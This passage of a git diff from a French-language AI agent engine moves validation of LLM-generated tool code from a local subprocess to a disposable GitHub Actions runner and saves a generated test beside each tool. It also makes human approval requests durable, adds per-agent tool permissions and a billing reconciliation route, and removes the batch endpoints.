), result_data=final_code, - metadata={"sandbox_passed": False, "persisted": False}, + metadata={"sandbox_passed": False, "test_passed": False, "persisted": False}, ) if not is_valid_tool_name(final_tool_name): @@ -269,8 +339,8 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: # est gardée par un flag explicite, désactivé par défaut. if not _tool_maker_persist_enabled(): logger.info( - f"[TOOL-MAKER] Outil '{final_tool_name}' validé (sandbox OK) mais " - f"NON persisté : MOTEUR_ENABLE_TOOL_MAKER désactivé." + f"[TOOL-MAKER] Outil '{final_tool_name}' validé (sandbox OK, " + f"test exécuté) mais NON persisté : MOTEUR_ENABLE_TOOL_MAKER désactivé." ) return StateUpdate( agent_name=self.name, @@ -289,11 +359,25 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: }, ) - # Étape 3 : Sauvegarder le fichier (uniquement si validé ET flag actif) - save_path = self._save_tool(final_tool_name, final_code) + # [#T190] Le test persisté est exactement celui exécuté dans le + # runner (remonté par la sandbox) ; repli : le reconstruire. + final_test_code = sandbox_result.get("test_code") or self._build_tool_test( + final_code, + final_tool_name, + sandbox_result.get("class_name", class_name), + ) + + # Étape 3 : Sauvegarder outil + test + métadonnées (uniquement si + # validé ET flag actif) + save_path = self._save_tool(final_tool_name, final_code, final_test_code) + test_path = os.path.join( + os.path.dirname(save_path), f"test_{final_tool_name}.py" + ) logger.info( - f"[TOOL-MAKER] ✅ Outil '{final_tool_name}' généré et sauvegardé : {save_path}" + f"[TOOL-MAKER] ✅ Outil '{final_tool_name}' accepté : test " + f"'{os.path.basename(test_path)}' exécuté avec succès dans le runner " + f"(import + appel + retour non None). Sauvegardé : {save_path}" ) return StateUpdate( @@ -302,14 +386,17 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: result_data=( f"Outil '{final_tool_name}' généré avec succès.\n" f"Fichier : {save_path}\n" + f"Test : {test_path}\n" f"Séquence condensée : {sequence_str}\n" - f"Sandbox : valide" + f"Sandbox : valide (test exécuté)" ), metadata={ "tool_name": final_tool_name, "tool_path": save_path, + "test_path": test_path, "auto_generated": True, "sandbox_passed": True, + "test_passed": True, "persisted": True, }, ) @@ -333,17 +420,28 @@ async def _validate_in_sandbox( tools_sequence: list, objective: str, payload: TaskPayload, - ) -> Dict[str, Any]: + ) -> dict[str, Any]: """ - Valide le code généré dans un subprocess Python isolé. + Valide le code généré dans un runner GitHub Actions jetable (#T207). Workflow : - 1. Écrire le code + bloc de test dans un répertoire temp imprévisible - (tempfile.mkdtemp — P0-1.4, anti TOCTOU/symlink) - 2. Exécuter via subprocess (timeout 10s, shell=False) - 3. Vérifier 'SANDBOX_OK' dans stdout - 4. Si échec < 3 tentatives : régénérer le spec via LLM (ReAct loop) - 5. Nettoyer les répertoires temp dans tous les cas + 1. Construire le code candidat + son fichier de test minimal + (test_.py, cf. _build_tool_test) — [#T190] + 2. Le pousser sur une branche éphémère toolmaker/validate-* et attendre + le verdict du workflow toolmaker_validate.yml (VM GitHub isolée, + aucun accès au LAN Deck/HA) — cf. core/toolmaker_sandbox.py + 3. Si échec < 3 tentatives : régénérer le spec via LLM (ReAct loop) + 4. La branche éphémère est supprimée dans tous les cas + + [#T207] Le code candidat est non maîtrisé (généré par LLM) : il ne doit + JAMAIS être exécuté localement (l'ancien subprocess.run tournait avec + les droits du process moteur → RCE). Fail-closed : sans PAT dédié + (MOTEUR_TOOLMAKER_PAT) ou en cas d'erreur API, l'outil est rejeté. + + [#T190] L'exécution du test généré (import + appel + retour non None) + a lieu dans ce même runner : un outil dont le test échoue est rejeté + et jamais persisté. Le test exactement validé est remonté via + "test_code" pour être écrit sur disque à côté de l'outil. [P0-1.4] L'appelant ne persiste QUE si "passed" est True ; on remonte donc le code/identifiants exactement validés (la boucle ReAct a pu les @@ -351,14 +449,16 @@ async def _validate_in_sandbox( Returns: {"passed": bool, "attempts": int, "last_error": str|None, - "test_outputs": list, "code": str, "tool_name": str, "class_name": str} + "test_outputs": list, "code": str, "test_code": str, + "tool_name": str, "class_name": str} """ - result: Dict[str, Any] = { + result: dict[str, Any] = { "passed": False, "attempts": 0, "last_error": None, "test_outputs": [], "code": tool_code, + "test_code": "", "tool_name": tool_name, "class_name": class_name, } @@ -369,78 +469,62 @@ async def _validate_in_sandbox( for attempt in range(1, MAX_ATTEMPTS + 1): result["attempts"] = attempt - # [P0-1.4] Répertoire temp imprévisible (mkdtemp) au lieu d'un chemin - # /tmp/... prévisible : élimine le risque de symlink/TOCTOU et reste - # portable (Windows dev). Nettoyé dans le finally. - temp_dir = tempfile.mkdtemp(prefix="toolmaker_sandbox_") - temp_path = os.path.join(temp_dir, f"{tool_name}.py") try: - # Bloc de test injecté en fin du fichier temp - test_block = f""" - -import asyncio as _asyncio - -def _run_sandbox(): - try: - tool = {class_name}() - res = _asyncio.run(tool.execute(param='test_value', value='test_data')) - if isinstance(res, dict) and 'success' in res: - print('SANDBOX_OK' if res['success'] else 'SANDBOX_FAIL') - else: - print('SANDBOX_OK') # Outil sans retour bool : accepter - except Exception as _e: - print(f'SANDBOX_ERROR: {{_e}}') - -_run_sandbox() -""" - full_code = current_code + test_block - - # Écriture du fichier temp - with open(temp_path, 'w', encoding='utf-8') as f: - f.write(full_code) - - # Exécution subprocess dans asyncio.to_thread (non-bloquant). - # [P0-1.4] sys.executable (interpréteur courant) au lieu de - # 'python3' codé en dur : portable et cohérent avec le venv. - proc = await asyncio.to_thread( - subprocess.run, - [sys.executable, temp_path], - capture_output=True, - timeout=10, - text=True, + # [#T190] Candidat poussé au runner : l'outil + SON fichier de + # test minimal, généré depuis le code exact de cette tentative + # (la boucle ReAct peut le régénérer). Le test importe le module + # depuis son propre dossier : même mécanique dans le runner et + # dans plugins/auto_generated/ une fois persisté. + current_test_code = self._build_tool_test( + current_code, + current_spec.get("tool_name", tool_name), + current_spec.get("class_name", class_name), ) - stdout = proc.stdout or "" - stderr = proc.stderr or "" - - if 'SANDBOX_OK' in stdout: + # [#T207] Exécution DISTANTE dans un runner GitHub Actions jetable + # (VM isolée, sans accès au LAN Deck/HA) — plus jamais de + # subprocess local : le code candidat est non maîtrisé. + from core.toolmaker_sandbox import validate_candidate_remote + candidate_name = current_spec.get("tool_name", tool_name) + remote = await validate_candidate_remote(files={ + f"{candidate_name}.py": current_code, + f"test_{candidate_name}.py": current_test_code, + }) + + if remote["passed"]: result["passed"] = True # [P0-1.4] Remonter le code/identifiants exactement validés. result["code"] = current_code + result["test_code"] = current_test_code result["tool_name"] = current_spec.get("tool_name", tool_name) result["class_name"] = current_spec.get("class_name", class_name) result["test_outputs"].append({ "attempt": attempt, - "stdout": stdout[:200], + "run_url": remote.get("run_url"), "status": "ok" }) - logger.info(f"[TOOL-MAKER] [SANDBOX] ✅ Tentative {attempt}/{MAX_ATTEMPTS} : OK") + logger.info(f"[TOOL-MAKER] [SANDBOX] ✅ Tentative {attempt}/{MAX_ATTEMPTS} : test exécuté avec succès") break # Succès → arrêter la boucle else: - error_msg = (stderr or stdout or "Sortie vide")[:300] + error_msg = (remote.get("error") or "Échec sandbox distante")[:300] result["last_error"] = f"[Tentative {attempt}] {error_msg}" result["test_outputs"].append({ "attempt": attempt, - "stdout": stdout[:200], - "stderr": stderr[:200], + "run_url": remote.get("run_url"), + "error": error_msg, "status": "fail", }) logger.warning( f"[TOOL-MAKER] [SANDBOX] ⚠️ Tentative {attempt}/{MAX_ATTEMPTS} : FAIL\n" - f" stderr: {stderr[:150]}" + f" err: {error_msg[:150]}" ) + # Sans PAT configuré, chaque tentative échouera à l'identique : + # inutile de regénérer le spec et de re-payer des appels LLM. + if "MOTEUR_TOOLMAKER_PAT" in error_msg: + break + # ReAct : régénérer le spec si encore des tentatives if attempt < MAX_ATTEMPTS: logger.info(f"[TOOL-MAKER] [SANDBOX] ReAct : régénération spec (tentative {attempt+1})...") @@ -470,15 +554,9 @@ def _run_sandbox(): result["last_error"] += f" | SyntaxError: {syntax['error']}" break - except subprocess.TimeoutExpired: - result["last_error"] = f"[Tentative {attempt}] Timeout 10s dépassé" - logger.warning(f"[TOOL-MAKER] [SANDBOX] ⏱️ Tentative {attempt}/{MAX_ATTEMPTS} : Timeout") except Exception as e: result["last_error"] = f"[Tentative {attempt}] Exception : {str(e)[:200]}" logger.warning(f"[TOOL-MAKER] [SANDBOX] Erreur tentative {attempt} : {e}") - finally: - # [P0-1.4] Nettoyage du répertoire temp imprévisible (mkdtemp). - shutil.rmtree(temp_dir, ignore_errors=True) # Logger l'échec dans SkillStore si dispo if not result["passed"]: @@ -502,7 +580,7 @@ async def _generate_tool_spec( tools_sequence: list, objective: str, payload: TaskPayload, - ) -> Optional[Dict[str, Any]]: + ) -> dict[str, Any] | None: """ Appelle le LLM pour générer la spécification de l'outil. Si pas de gateway, génère un template par défaut. @@ -538,6 +616,10 @@ async def _generate_tool_spec( prompt, schema, session_id=payload.metadata.get("session_id"), + # [T287] Le ToolMaker génère du code Python destiné au dépôt : + # il reçoit les conventions du projet (commentaires en français, + # FileLock sur les fichiers partagés, etc.). + conventions_projet=True, ) if result and result.get("tool_name"): @@ -566,7 +648,7 @@ async def _generate_tool_spec( ), } - def _build_tool_code(self, spec: Dict, tools_sequence: list) -> str: + def _build_tool_code(self, spec: dict, tools_sequence: list) -> str: """Construit le code Python final à partir de la spécification.""" return TOOL_TEMPLATE.format( tool_name=spec.get("tool_name", "auto_tool"), @@ -576,7 +658,85 @@ def _build_tool_code(self, spec: Dict, tools_sequence: list) -> str: execution_logic=spec.get("execution_logic", "pass"), ) - def _validate_code(self, code: str) -> Dict[str, Any]: + def _deduce_execute_args(self, tool_code: str) -> dict[str, str]: + """ + Déduit les arguments d'appel de execute(**kwargs) depuis le corps généré. + + La signature du template est `async def execute(self, **kwargs)` : on ne + peut pas deviner les noms de paramètres depuis la signature seule, on + les déduit donc des clés réellement lues dans kwargs par le code + (`kwargs.get('nom')` ou `kwargs['nom']`). Chaque clé reçoit une valeur + de test simple ("test_value"). + + Returns: + Dictionnaire ordonné {nom_de_paramètre: valeur_de_test}, vide si + le corps ne lit aucune clé (appel sans argument, valide pour **kwargs). + """ + try: + tree = ast.parse(tool_code) + except SyntaxError: + return {} + + import keyword + + names: list[str] = [] + for node in ast.walk(tree): + # kwargs.get('nom', défaut) — appel de méthode sur la variable kwargs + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Attribute) + and node.func.attr == "get" + and isinstance(node.func.value, ast.Name) + and node.func.value.id == "kwargs" + and node.args + and isinstance(node.args[0], ast.Constant) + and isinstance(node.args[0].value, str) + ): + names.append(node.args[0].value) + # kwargs['nom'] — subscript direct sur la variable kwargs + elif ( + isinstance(node, ast.Subscript) + and isinstance(node.value, ast.Name) + and node.value.id == "kwargs" + and isinstance(node.slice, ast.Constant) + and isinstance(node.slice.value, str) + ): + names.append(node.slice.value) + + # On ne garde que les identifiants Python valides : une clé exotique + # (espaces, guillemets…) ne peut pas devenir un argument nommé. + safe_names = [ + n for n in dict.fromkeys(names) + if n.isidentifier() and not keyword.iskeyword(n) + ] + # dict.fromkeys : dédoublonnage en conservant l'ordre de première apparition + return {name: "test_value" for name in safe_names} + + def _build_tool_test(self, tool_code: str, tool_name: str, class_name: str) -> str: + """ + Construit le fichier de test minimal de l'outil généré (#T190). + + Le test vérifie dans l'ordre : + 1. l'import du module outil (attrape la moitié des erreurs) ; + 2. l'appel de execute() avec des arguments valides déduits de sa + signature (les clés lues dans **kwargs, cf. _deduce_execute_args) ; + 3. que le retour n'est ni None ni une exception. + + Le fichier est exécutable seul (`python test_.py`) et + imprime SANDBOX_OK / SANDBOX_FAIL : c'est lui que le runner GitHub + Actions exécute (#T207). Les identifiants interpolés ont déjà été + validés par is_valid_tool_name / is_valid_class_name (anti-injection). + """ + kwargs_repr = ", ".join( + f"{name}='{value}'" for name, value in self._deduce_execute_args(tool_code).items() + ) + return TOOL_TEST_TEMPLATE.format( + tool_name=tool_name, + class_name=class_name, + kwargs_repr=kwargs_repr, + ) + + def _validate_code(self, code: str) -> dict[str, Any]: """ Valide syntaxiquement le code Python généré via ast.parse. @@ -591,15 +751,18 @@ def _validate_code(self, code: str) -> Dict[str, Any]: except Exception as e: return {"valid": False, "error": str(e)} - def _save_tool(self, tool_name: str, code: str) -> str: + def _save_tool(self, tool_name: str, code: str, test_code: str) -> str: """ - Sauvegarde le code dans plugins/auto_generated//. + Sauvegarde l'outil ET son test minimal dans plugins/auto_generated//. Crée aussi un plugin.json pour la découverte automatique. [P0-1.4] N'est appelé QUE pour un outil dont les identifiants sont validés et qui a passé le sandbox (cf. invoke) → sandbox_passed=True - est désormais un invariant. Défense en profondeur : on revérifie le nom - (anti traversée de chemin) car il sert de nom de dossier/fichier. + est désormais un invariant. [#T190] Le fichier de test écrit ici est le + même que celui exécuté dans le runner (test_code remonté par la + sandbox) : outil, test et métadonnées sont persistés ensemble, ou pas + du tout. Défense en profondeur : on revérifie le nom (anti traversée + de chemin) car il sert de nom de dossier/fichier. """ if not is_valid_tool_name(tool_name): raise ValueError(f"Nom d'outil invalide pour la sauvegarde : {tool_name!r}") @@ -612,18 +775,26 @@ def _save_tool(self, tool_name: str, code: str) -> str: with open(tool_path, 'w', encoding='utf-8') as f: f.write(code) + # [#T190] Sauvegarder le test minimal à côté de l'outil, à un + # emplacement déterministe : test_.py + test_path = os.path.join(tool_dir, f"test_{tool_name}.py") + with open(test_path, 'w', encoding='utf-8') as f: + f.write(test_code) + # Créer le plugin.json pour la découverte automatique plugin_meta = { "name": tool_name, "version": "1.0.0", "auto_generated": True, "sandbox_passed": True, # [P0-1.4] invariant : seul du validé est persisté + "test_passed": True, # [#T190] invariant : le test minimal a réussi "description": f"Outil auto-généré : {tool_name}", "entry_point": f"{tool_name}.py", + "test_entry_point": f"test_{tool_name}.py", # [#T190] emplacement déterministe } meta_path = os.path.join(tool_dir, "plugin.json") with open(meta_path, 'w', encoding='utf-8') as f: json.dump(plugin_meta, f, indent=2, ensure_ascii=False) - logger.info(f"[TOOL-MAKER] Outil sauvegardé : {tool_path}") + logger.info(f"[TOOL-MAKER] Outil + test sauvegardés : {tool_path} (+ {test_path})") return tool_path diff --git a/api/routes/agents.py b/api/routes/agents.py index b786ae5..294862e 100644 --- a/api/routes/agents.py +++ b/api/routes/agents.py @@ -382,7 +382,9 @@ async def execute_chat(body: ExecuteRequestBody, _auth=Depends(optional_auth)): try: with VocalAuditTimer() as timer: router_instance = state.get_shared_router() - initial_payload, starting_agent = await router_instance.analyze_request(body.user_prompt) + initial_payload, starting_agent = await router_instance.analyze_request( + body.user_prompt, session_id=session_id + ) routing_type = initial_payload.metadata.get("routing_type", "default") initial_payload.metadata["request_source"] = { diff --git a/api/routes/agents_crud.py b/api/routes/agents_crud.py index 5cce06d..b3beb95 100644 --- a/api/routes/agents_crud.py +++ b/api/routes/agents_crud.py @@ -114,6 +114,8 @@ class AgentCreateBody(BaseModel): label: str | None = None tier: str = Field("automatique", description="Tier ou id de modèle littéral") system_prompt: str | None = None + # [#T233] Permissions d'outils : absent/null = tous les outils, [] = aucun. + allowed_tools: list[str] | None = None class AgentPatchBody(BaseModel): @@ -123,6 +125,8 @@ class AgentPatchBody(BaseModel): enabled: bool | None = None interval_minutes: int | None = None system_prompt: str | None = None + # [#T233] Permissions d'outils (absent = inchangées, [] = aucun outil). + allowed_tools: list[str] | None = None def _load_config() -> dict: @@ -204,6 +208,8 @@ def _custom_agent_dict(entry: dict) -> dict: "prompt_source": "config", "is_custom": True, "source": "config", + # [#T233] Permissions d'outils (absent/null = tous les outils, [] = aucun) + "allowed_tools": entry.get("allowed_tools"), } @@ -276,6 +282,8 @@ def create_agent(body: AgentCreateBody): "tier": body.tier if body.tier in VALID_TIERS else body.tier.strip(), "system_prompt": (body.system_prompt or "").strip() or None, "enabled": True, + # [#T233] Permissions d'outils (null = tous les outils, [] = aucun) + "allowed_tools": body.allowed_tools, } def mutate(config: dict): @@ -358,6 +366,10 @@ def mutate(config: dict): entry["system_prompt"] = body.system_prompt.strip() or None if body.enabled is not None: entry["enabled"] = body.enabled + # [#T233] Permissions d'outils : null = « tous les outils » (la + # distinction [] / null est conservée telle quelle en config). + if body.allowed_tools is not None: + entry["allowed_tools"] = body.allowed_tools updated.update(entry) return raise HTTPException( diff --git a/api/routes/apis_external.py b/api/routes/apis_external.py index 84b6717..2404ea0 100644 --- a/api/routes/apis_external.py +++ b/api/routes/apis_external.py @@ -3,7 +3,7 @@ Extrait de gui_server.py lors du refactoring Semaine 3. Contient : /api/apis-status, /api/generate-image, /api/tts, /api/tts-cloud, - /api/translate, /api/vision/analyze, /api/aqa, /api/batch/*, + /api/translate, /api/vision/analyze, /api/aqa, /api/key-pool, /api/google-cache-status Auteur : Antigravity IDE + Axel — 2026-06-04 @@ -11,11 +11,11 @@ import logging import os -import requests from datetime import datetime + +import requests from fastapi import APIRouter, HTTPException from pydantic import BaseModel -from typing import Optional, List logger = logging.getLogger(__name__) @@ -28,54 +28,45 @@ class TTSRequest(BaseModel): text: str - voice: Optional[str] = "fr-FR-Wavenet-A" - speed: Optional[float] = 1.0 + voice: str | None = "fr-FR-Wavenet-A" + speed: float | None = 1.0 class TTSCloudRequest(BaseModel): text: str - voice_id: Optional[str] = None - provider: Optional[str] = "gcp" + voice_id: str | None = None + provider: str | None = "gcp" class TranslateRequest(BaseModel): text: str target_language: str - source_language: Optional[str] = None + source_language: str | None = None class VisionRequest(BaseModel): - image_url: Optional[str] = None - image_base64: Optional[str] = None + image_url: str | None = None + image_base64: str | None = None prompt: str = "Décris cette image en détail." class ImageGenerateRequest(BaseModel): prompt: str - width: Optional[int] = 1024 - height: Optional[int] = 1024 - model: Optional[str] = None + width: int | None = 1024 + height: int | None = 1024 + model: str | None = None class AQARequest(BaseModel): question: str - context: Optional[str] = None - - -class BatchSubmitRequest(BaseModel): - prompts: List[str] - model: Optional[str] = "gemini-2.5-flash" - system_prompt: Optional[str] = None + context: str | None = None # ────────────────────────────────────────────────────────────────── # Routes # ────────────────────────────────────────────────────────────────── -from core.antigravity_helper import ( - get_antigravity_status -) - +from core.antigravity_helper import get_antigravity_status @router.get("/api/apis-status") @@ -295,60 +286,3 @@ async def attributed_question_answering(body: AQARequest): raise HTTPException(status_code=500, detail=str(e)) -# ────────────────────────────────────────────────────────────────── -# Batch (traitement asynchrone de lots de prompts) -# ────────────────────────────────────────────────────────────────── - -@router.post("/api/batch/submit") -async def batch_submit(body: BatchSubmitRequest): - """Soumet un lot de prompts pour traitement batch asynchrone.""" - try: - from core.batch_processor import submit_batch - job_id = await submit_batch(body.prompts, model=body.model, system_prompt=body.system_prompt) - return {"status": "submitted", "job_id": job_id} - except ImportError: - raise HTTPException(status_code=501, detail="Module batch non disponible.") - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@router.get("/api/batch/status/{job_id}") -def batch_status(job_id: str): - """Retourne le statut d'un job batch.""" - try: - from core.batch_processor import get_job_status - status = get_job_status(job_id) - if status is None: - raise HTTPException(status_code=404, detail=f"Job '{job_id}' introuvable.") - return status - except HTTPException: - raise - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@router.get("/api/batch/results/{job_id}") -def batch_results(job_id: str): - """Retourne les résultats d'un job batch terminé.""" - try: - from core.batch_processor import get_job_results - results = get_job_results(job_id) - if results is None: - raise HTTPException(status_code=404, detail=f"Job '{job_id}' introuvable ou non terminé.") - return results - except HTTPException: - raise - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@router.get("/api/batch/list") -def batch_list(limit: int = 20): - """Retourne la liste des jobs batch récents.""" - try: - from core.batch_processor import list_jobs - return {"jobs": list_jobs(limit=limit)} - except ImportError: - return {"jobs": []} - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) diff --git a/api/routes/approval.py b/api/routes/approval.py index ade4638..8554996 100644 --- a/api/routes/approval.py +++ b/api/routes/approval.py @@ -8,7 +8,7 @@ """ import logging -from typing import Optional + from fastapi import APIRouter, HTTPException from pydantic import BaseModel @@ -20,28 +20,58 @@ class ApprovalPayload(BaseModel): """Payload de la requête d'approbation/rejet.""" request_id: str - feedback: Optional[str] = None - modified_data: Optional[dict] = None + feedback: str | None = None + modified_data: dict | None = None @router.get("/api/approval/pending") def get_pending_approvals(): """ Retourne la liste des demandes d'approbation en attente. - + + [#T267] Source de vérité = le store DURABLE (`hitl_pending_approvals`), et + non plus la mémoire du moteur : une demande devait survivre à la session qui + l'a créée — c'est tout l'objet du HITL non bloquant. Les demandes encore en + mémoire (mode bloquant conservé derrière `MOTEUR_HITL_NON_BLOQUANT=0`) sont + ajoutées ensuite, sans doublon. + Returns: Liste des demandes avec request_id, description, risk_level et elapsed. """ + import time + + from core import hitl_store + + pending: list[dict] = [] + vus: set[str] = set() + try: + for d in hitl_store.lister_en_attente(): + vus.add(d["request_id"]) + pending.append({ + "request_id": d["request_id"], + "session_id": d["session_id"], + "description": d["description"], + "plan_summary": d["plan_summary"], + "risk_level": d["risk_level"], + "created_at": d["created_at"], + "elapsed": time.time() - (d["created_at"] or time.time()), + "task_count": len(d.get("dag_tasks") or []), + "durable": True, + }) + except Exception as e: + logger.error(f"[HITL API] Lecture du store durable impossible : {e}") + try: from gui_server import _engine_instance - if _engine_instance is None or not hasattr(_engine_instance, 'hitl'): - return {"pending": [], "count": 0} - - pending = _engine_instance.hitl.get_pending_requests() - return {"pending": pending, "count": len(pending)} + if _engine_instance is not None and hasattr(_engine_instance, "hitl"): + for r in _engine_instance.hitl.get_pending_requests(): + if r.get("request_id") not in vus: + r["durable"] = False + pending.append(r) except Exception as e: - logger.error(f"[HITL API] Erreur get_pending: {e}") - return {"pending": [], "count": 0, "error": str(e)} + logger.debug(f"[HITL API] Demandes en mémoire non lues : {e}") + + return {"pending": pending, "count": len(pending)} @router.post("/api/approval/approve") @@ -55,23 +85,46 @@ async def approve_request(payload: ApprovalPayload): payload: ApprovalPayload avec request_id et feedback optionnel. """ try: + # [#T267] Deux chemins, dans cet ordre : + # 1. store durable → la session a été SUSPENDUE, il faut rejouer le DAG stocké ; + # 2. mémoire du moteur → mode bloquant (kill-switch), il faut débloquer l'attente. + # `marquer_decision` n'accepte la transition que depuis `pending`, donc un + # double clic sur « Approuver » ne peut pas relancer deux fois le plan. + from core import hitl_store from gui_server import _engine_instance, broadcast_event - if _engine_instance is None or not hasattr(_engine_instance, 'hitl'): - raise HTTPException(status_code=400, detail="Moteur non initialisé.") - - success = _engine_instance.hitl.approve( - request_id=payload.request_id, - feedback=payload.feedback, - modified_data=payload.modified_data, + decision_durable = hitl_store.marquer_decision( + payload.request_id, approuve=True, feedback=payload.feedback ) + success = decision_durable + if _engine_instance is not None and hasattr(_engine_instance, "hitl"): + success = _engine_instance.hitl.approve( + request_id=payload.request_id, + feedback=payload.feedback, + modified_data=payload.modified_data, + ) or success + if not success: raise HTTPException( status_code=404, detail=f"Demande '{payload.request_id}' introuvable ou déjà traitée.", ) + if decision_durable: + # La reprise peut durer plusieurs minutes : elle part en tâche de fond, + # la route répond immédiatement. Le suivi se fait par SSE et par le + # statut de la demande (`resumed` / `failed`). + import asyncio + + from services.approval_resume_service import reprendre_apres_approbation + asyncio.create_task(reprendre_apres_approbation( + payload.request_id, on_event_callback=None, + )) + logger.info( + f"[HITL API] [T267] Reprise lancée en tâche de fond pour {payload.request_id}." + ) + # Notification SSE pour l'IHM await broadcast_event("approval_user_action", { "request_id": payload.request_id, @@ -104,22 +157,35 @@ async def reject_request(payload: ApprovalPayload): payload: ApprovalPayload avec request_id et feedback optionnel. """ try: + # [#T267] Même double chemin que l'approbation. + from core import hitl_store from gui_server import _engine_instance, broadcast_event - if _engine_instance is None or not hasattr(_engine_instance, 'hitl'): - raise HTTPException(status_code=400, detail="Moteur non initialisé.") - - success = _engine_instance.hitl.reject( - request_id=payload.request_id, - feedback=payload.feedback, + decision_durable = hitl_store.marquer_decision( + payload.request_id, approuve=False, feedback=payload.feedback ) + success = decision_durable + if _engine_instance is not None and hasattr(_engine_instance, "hitl"): + success = _engine_instance.hitl.reject( + request_id=payload.request_id, + feedback=payload.feedback, + ) or success + if not success: raise HTTPException( status_code=404, detail=f"Demande '{payload.request_id}' introuvable ou déjà traitée.", ) + if decision_durable: + # Le plan est abandonné : la branche éphémère laissée en place par la + # session suspendue doit être annulée, sinon elle reste pendante. + import asyncio + + from services.approval_resume_service import annuler_apres_rejet + asyncio.create_task(asyncio.to_thread(annuler_apres_rejet, payload.request_id)) + # Notification SSE pour l'IHM await broadcast_event("approval_user_action", { "request_id": payload.request_id, diff --git a/api/routes/auth_tickets.py b/api/routes/auth_tickets.py index 83274c2..1b9dd04 100644 --- a/api/routes/auth_tickets.py +++ b/api/routes/auth_tickets.py @@ -13,9 +13,10 @@ """ import logging + from fastapi import APIRouter -from core.auth import issue_ticket, _TICKET_TTL_SECONDS +from core.auth import _TICKET_TTL_SECONDS, issue_ticket logger = logging.getLogger(__name__) diff --git a/api/routes/backlog.py b/api/routes/backlog.py index 8cc06ca..d0c1bf1 100644 --- a/api/routes/backlog.py +++ b/api/routes/backlog.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ Antigravity Engine - Router d'API pour le Backlog d'Agents Conçu pour une fiabilité maximale sous Windows, avec gestion transactionnelle des branches Git @@ -7,19 +6,14 @@ Auteur: Équipe d'Ingénierie Domotique & IA DeepMind """ -from fastapi import APIRouter, HTTPException, status -from pydantic import BaseModel, Field -from typing import Optional, List, Dict, Any import logging import re -from core.backlog_db import ( - add_task, - delete_task, - get_all_tasks, - get_task_by_id, - get_task_stats, - update_task_status -) +from typing import Any + +from fastapi import APIRouter, HTTPException, status +from pydantic import BaseModel, Field + +from core.backlog_db import add_task, delete_task, get_all_tasks, get_task_by_id, get_task_stats, update_task_status from core.budget_guard import BudgetGuard from tools.git_safety import _run_git @@ -40,13 +34,13 @@ class TaskCreate(BaseModel): title: str = Field(..., description="Titre de la tâche") description: str = Field(..., description="Description détaillée de la tâche") priority: int = Field(2, description="Priorité de la tâche (1: Haute, 2: Moyenne, 3: Basse)") - scheduled_at: Optional[float] = Field(None, description="Timestamp de planification optionnel") + scheduled_at: float | None = Field(None, description="Timestamp de planification optionnel") class TaskUpdate(BaseModel): - status: Optional[str] = Field(None, description="Nouveau statut de la tâche") - git_branch: Optional[str] = Field(None, description="Branche Git associée") + status: str | None = Field(None, description="Nouveau statut de la tâche") + git_branch: str | None = Field(None, description="Branche Git associée") -@router.get("/tasks", response_model=List[Dict[str, Any]]) +@router.get("/tasks", response_model=list[dict[str, Any]]) async def get_tasks(): """ Récupère l'ensemble des tâches du backlog. @@ -67,9 +61,9 @@ async def create_task(payload: TaskCreate): """ try: task_id = await add_task( - payload.title, - payload.description, - payload.priority, + payload.title, + payload.description, + payload.priority, payload.scheduled_at ) return {"status": "success", "task_id": task_id} @@ -120,7 +114,7 @@ async def update_task(id: int, payload: TaskUpdate): status_code=status.HTTP_400_BAD_REQUEST, detail=f"Échec de la fusion Git. Fusion annulée. Erreur: {str(e)}" ) - + try: # Étape 3 : Nettoyage de la branche locale fusionnée _run_git(["branch", "-d", branch]) @@ -138,7 +132,7 @@ async def update_task(id: int, payload: TaskUpdate): _run_git(["branch", "-D", branch]) except Exception as e: logger.error(f"Erreur lors du nettoyage de la branche rejetée {branch}: {e}") - + # Mise à jour de la tâche en base comme abandonnée await update_task_status(id, "abandoned", git_branch=None) diff --git a/api/routes/billing.py b/api/routes/billing.py index 4ea700e..6df4f95 100644 --- a/api/routes/billing.py +++ b/api/routes/billing.py @@ -142,7 +142,6 @@ def api_get_ide_conversations_stats(): "openrouter": {"label": "OpenRouter", "dashboard_url": "https://openrouter.ai/credits", "plan": "API pay-as-you-go"}, "minimax": {"label": "MiniMax", "dashboard_url": "https://platform.minimaxi.com/console", "plan": "API pay-as-you-go — dashboard en chinois, login téléphone/WeChat uniquement"}, "grok": {"label": "xAI (Grok)", "dashboard_url": "https://console.x.ai/", "plan": "API pay-as-you-go"}, - "github": {"label": "GitHub Models", "dashboard_url": "https://github.com/settings/billing", "plan": "Free Tier"}, } @@ -163,7 +162,7 @@ class ManualBalanceBody(BaseModel): def set_manual_provider_balance(body: ManualBalanceBody): """ Enregistre un solde saisi à la main pour un provider sans API de solde - connue (Mistral, Cohere, Cerebras, Zhipu, MiniMax, xAI, GitHub...). Le + connue (Mistral, Cohere, Cerebras, Zhipu, MiniMax, xAI...). Le solde est réaffiché dans /api/billing avec un statut "manuel" et l'horodatage de la saisie, tant qu'une vraie API n'existe pas pour ce provider. @@ -409,6 +408,27 @@ async def billing_launch_chrome(): raise HTTPException(status_code=500, detail=str(e)) +@router.get("/api/billing/anthropic/reconciliation") +def get_anthropic_reconciliation(): + """ + Réconcilie les coûts Anthropic RÉELS (exports CSV console.anthropic.com, + data/anthropic_usage_exports/) avec les coûts ESTIMÉS du moteur + (token_usage.cost_usd, tarifs du catalogue) — par jour (UTC). + + Statuts de réponse : + - "ok" : périodes journalières + totaux (écart absolu et relatif) ; + - "no_exports": aucun export CSV disponible (réponse explicite, jamais un + zéro qui se lirait comme « aucun écart ») ; + - "no_data" : CSV présents mais aucun contenu exploitable (voir logs). + """ + try: + from api.services.billing_service import reconcile_anthropic_costs + return reconcile_anthropic_costs() + except Exception as e: + logger.error(f"[BILLING] Erreur réconciliation Anthropic : {e}") + raise HTTPException(status_code=500, detail=str(e)) from e + + # ────────────────────────────────────────────────────────────────── # Sessions historiques # ────────────────────────────────────────────────────────────────── diff --git a/api/routes/chat_messages.py b/api/routes/chat_messages.py index ddbc40a..483fc2f 100644 --- a/api/routes/chat_messages.py +++ b/api/routes/chat_messages.py @@ -7,10 +7,10 @@ GET /api/chat/sessions — liste les sessions récentes DELETE 